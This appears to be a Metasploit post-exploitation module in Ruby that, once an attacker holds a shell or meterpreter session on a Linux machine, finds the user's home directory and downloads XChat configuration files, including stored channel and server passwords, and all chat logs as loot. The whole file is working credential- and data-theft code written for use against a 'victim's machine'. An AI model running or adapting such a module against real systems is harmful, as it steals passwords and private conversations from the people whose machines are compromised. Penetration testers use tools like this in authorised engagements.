##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Post

  include Msf::Post::File

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Linux Gather XChat Enumeration',
      'Description'   => %q{
          This module will collect XChat's config files and chat logs from the victim's
        machine.  There are three actions you may choose: CONFIGS, CHATS, and ALL.  The
        CONFIGS option can be used to collect information such as channel settings,
        channel/server passwords, etc.  The CHATS option will simply download all the
        .log files.
      },
      'License'       => MSF_LICENSE,
      'Author'        => ['sinn3r'],
      'Platform'      => ['linux'],
      # linux meterpreter is too busted to support right now,
      # will come back and add support once it's more usable.
      'SessionTypes'  => ['shell', 'meterpreter'],
      'Actions'       =>
        [
          ['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
          ['CHATS',   { 'Description' => 'Collect chat logs with a pattern' } ],
          ['ALL',     { 'Description' => 'Collect both the plists and chat logs'}]
        ],
      'DefaultAction' => 'ALL'
    ))
  end

  def get_file(file)
    tries = 0
    print_status("#{@peer} - Downloading #{file}")

    begin
      buf = read_file(file)
      buf = '' if buf =~ /No such file or directory/
    rescue ::Timeout::Error => e
      tries += 1
      if tries < 3
        vprint_error("#{@peer} - #{e.message} - retrying...")
        retry
      end
      buf = ''
    rescue EOFError => e
      tries += 1
      if tries < 3
        vprint_error("#{@peer} - #{e.message} - retrying...")
        retry
      end
      buf = ''
    end

    return buf
  end

  def whoami
    user = cmd_exec("/usr/bin/whoami").chomp
    return user
  end

  def list_logs(base)
    list = cmd_exec("ls -l #{base}*.log")

    return [] if list =~ /No such file or directory/
    files = list.scan(/\d+\x20\w{3}\x20\d+\x20\d{2}\:\d{2}\x20(.+)$/).flatten

    return files
  end

  def save(type, data)
    case type
    when :configs
      type = 'xchat.config'
    when :chatlogs
      type = 'xchat.chatlogs'
    end

    data.each do |d|
      fname = ::File.basename(d[:filename])
      p = store_loot(
        type,
        'text/plain',
        session,
        d[:data],
        fname
      )

      print_good("#{@peer} - #{fname} saved as #{p}")
    end
  end

  def get_chatlogs(base)
    base << "xchatlogs/"

    logs = []

    list_logs(base).each do |l|
      vprint_status("#{@peer} - Downloading: #{l}")
      data = read_file(l)
      logs << {
        :filename => l,
        :data     => data
      }
    end

    return logs
  end

  def get_configs(base)
    config = []
    files  = ['servlist_.conf', 'xchat.conf']
    files.each do |f|
      vprint_status("#{@peer} - Downloading: #{base + f}")
      buf = read_file(base + f)
      next if buf.blank?
      config << {
        :filename => f,
        :data     => buf
      }
    end

    return config
  end

  def run
    if action.nil?
      print_error("Please specify an action")
      return
    end

    @peer = "#{session.session_host}:#{session.session_port}"

    user = whoami
    if user.blank?
      print_error("#{@peer} - Unable to get username, abort.")
      return
    end

    base = "/home/#{user}/.xchat2/"

    configs  = get_configs(base)  if action.name =~ /ALL|CONFIGS/i
    chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i

    save(:configs, configs)   unless configs.empty?
    save(:chatlogs, chatlogs) unless chatlogs.empty?
  end

end

=begin
Linux xchat path:
/home/[username]/.xchat2/
  * /home/[username]/.xchat2/servlist_.conf
  * /home/[username]/.xchat2/xchat.conf
  * /home/[username]/.xchat2/xchatlogs/FreeNode-#aha.log
=end
